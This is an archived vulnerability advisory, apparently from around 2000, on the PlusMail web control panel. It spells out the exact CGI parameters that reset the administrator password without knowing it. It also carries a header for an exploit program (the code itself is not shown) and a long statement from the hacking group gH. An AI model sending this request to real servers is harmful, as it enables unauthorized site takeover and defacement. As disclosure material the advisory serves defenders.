PowerScripts PlusMail Web Control Panel is a web-based administration suite for maintaining mailing lists, mail aliases, and web sites. It is reportedly possible to change the administrative username and password without knowing the current one, by passing the proper arguments to the plusmail script. After this has been accomplished, the web console allows a range of potentially destructive activities including changing of e-mail aliases, mailing lists, web site editing, and various other privileged tasks. This can be accomplished by submitting the argument "new_login" with the value "reset password" to the plusmail script (typically /cgi-bin/plusmail). Other arguments the script expects are "username", "password" and "password1", where username equals the new login name, password and password1 contain matching passwords to set the new password to.
The specific affected versions have not been determined, and the developer cannot be located.

[gH-plus.c]
title: [gH plusmail vulnerability]
date: 01.20.2000
author: ytcracker of gH [phed@felons.org]
comments: plusmail is an extremely popular cgi-based administration
tool that allows you to take control of your website
with a graphical control panel interface. the password
file, however, is set with permissions rw enabled,
therefore granting the authority to change the password
whenever's clever.
the following code will detect the vulnerability and
generate the required html to exploit.
shouts: seven one nine. all of gH. www.mp3.com/category5.
herf@ghettophreaks.org for finding vulnerability.
[Advisory Information]
written by: mosthated of gH [most@pure-security.net]
vulnerable: So far, any environment running Plusmail.
report: Noticed plusmail running on multiple operating systems.
The vulnerability lies in the web based tool, which
now that is easily exploited, gives you "ADVANCED CONTROL"
of a target website. Below is the code by ytcracker of gH,
which demonstrates how easy it is to generate the html code
which is executed by your web browser to compromise the
target host. We have noticed this PlusMail program is widely
used, but have yet to succeed in finding the main site for
PlusMail to acknowledge the developers of the remote
vulnerability.
Most likely this will be ripped out during the online trading,
because of script kids not likely this factual addition, but
never the less, it will be expressed. This exploit was written
to acknowledge security weaknesses, but in no way promotes web
page defacments. If you further use this program to gain access
to anything not normally accessable by yourself, meaning you
script kids, then you are subject to be prosecuted and even get
10 years in prison. Is it honestly worth it to compile this program
and randomly ./hack sites and deface them with this half way
automatted program to put your nick & group on it?
The answer is NO. gh/global hell.. Heard of us?? Seen us on TV??
Read about us?? Most likely.. We've changed and gained knowledge
from the experience....Been there done that.. The world didn't
believe that a group like this could completely go legit, the IT
professionals figured we would retaliate against the fbi and the
world was scared by misleading media articles about how we are
terrorist and destructive teens. I ask the world now, who is helping
who? Did the media find this vulnerability? Did the stereotypist
who label us as "cyber gang members" find this vulnerability and allow
networks around the world to be patched before so called "destructive
hackers" gained access to them. Answer yet again, NO, we did, not you
who falsely claim to be helping with security. Your defacements don't
help anything, we thought it did before as well, now we realized that
it does nothing positive. You stereotypists know nothing about gH, yet
can write articles, you're wrong. You people think so much that you know
so much about hackers. You know nothing, what you think you know, is
wrong. What you don't know about us, the information is right under
your nose, yet you still can't put your finger on it. Their are 2 sides
to the so called "hacking scene", you people should realize there will
always be a good and a bad side to most matters. Don't exploit the
fact that you don't know anything about the whole situation, just face
the real fact, our knowledge could be a great help to all, why not
accept us as normal people, not untrue off the wall assumptions.
If you use programs like this to deface sites, think before you use
this one, because we have been through the childish fights online
and expressed our feelings, we are still where we started, from square
one and would not have gone any farther, until we realized that what we
were doing was stupid, pathetic, futureless and illegal. Choose
your path wisely, either stop the script kiddie bullshit or get
your door kicked in, you decide.
fix: Move/rename the PlusMail directory as a temporary fix.
